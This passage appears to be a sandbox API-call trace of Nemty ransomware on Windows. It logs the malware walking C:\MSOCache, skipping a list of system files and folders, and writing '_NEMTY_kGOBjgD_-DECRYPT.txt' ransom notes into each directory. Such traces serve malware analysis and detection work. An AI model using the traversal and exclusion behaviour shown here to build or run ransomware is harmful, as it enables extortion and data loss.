Users", lpString2="boot.ini") returned -1 [0046.801] lstrcmpiW (lpString1="All Users", lpString2="AUTOEXEC.BAT") returned -1 [0046.802] lstrcmpiW (lpString1="All Users", lpString2="ntuser.dat") returned -1 [0046.802] lstrcmpiW (lpString1="All Users", lpString2="desktop.ini") returned -1 [0046.802] lstrcmpiW (lpString1="All Users", lpString2="CONFIG.SYS") returned -1 [0046.802] lstrcmpiW (lpString1="All Users", lpString2="RECYCLER") returned -1 [0046.802] lstrcmpiW (lpString1="All Users", lpString2="BOOTSECT.BAK") returned -1 [0046.802] lstrcmpiW (lpString1="All Users", lpString2="bootmgr") returned -1 [0046.802] lstrcmpiW (lpString1="All Users", lpString2="programdata") returned -1 [0046.802] lstrcmpiW (lpString1="All Users", lpString2="appdata") returned -1 [0046.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="All Users", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="All Users", cchWideChar=9, lpMultiByteStr=0x653f8d0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="All Users", lpUsedDefaultChar=0x0) returned 9 [0046.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="All Users", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="All Users", cchWideChar=9, lpMultiByteStr=0x653f8d0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="All Users", lpUsedDefaultChar=0x0) returned 9 [0046.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0046.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0046.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0046.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x4f91590 [0046.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0046.805] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.805] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0046.806] CloseHandle (hObject=0x3c0) returned 1 [0046.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345560 | out: hHeap=0x4f90000) returned 1 [0046.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345560 [0046.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x63455d0 [0046.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0046.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.807] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0046.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.807] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x4f91590 [0046.807] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0046.808] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.808] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0046.808] CloseHandle (hObject=0x3c0) returned 1 [0046.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0046.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.809] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf98a9f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf98a9f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0046.809] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.809] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf98a9f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf98a9f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.810] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.810] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.810] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf98a9f0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf98a9f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf98a9f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0046.810] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0046.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.810] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f916e8 [0046.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.811] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0046.811] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0046.812] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0046.812] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0046.812] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0046.812] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0046.812] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0046.812] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0046.812] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0046.812] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0046.812] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0046.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0016-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0046.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0016-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0016-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0046.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0046.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0016-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0046.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0016-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0016-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0046.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0046.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0046.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0046.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0046.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0046.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0046.813] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0046.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0046.815] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.815] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0046.816] CloseHandle (hObject=0x3c4) returned 1 [0046.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0046.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0046.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0046.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0046.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0046.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0046.817] CreateFileW (lpFileName="C:\\MSOCache\\All 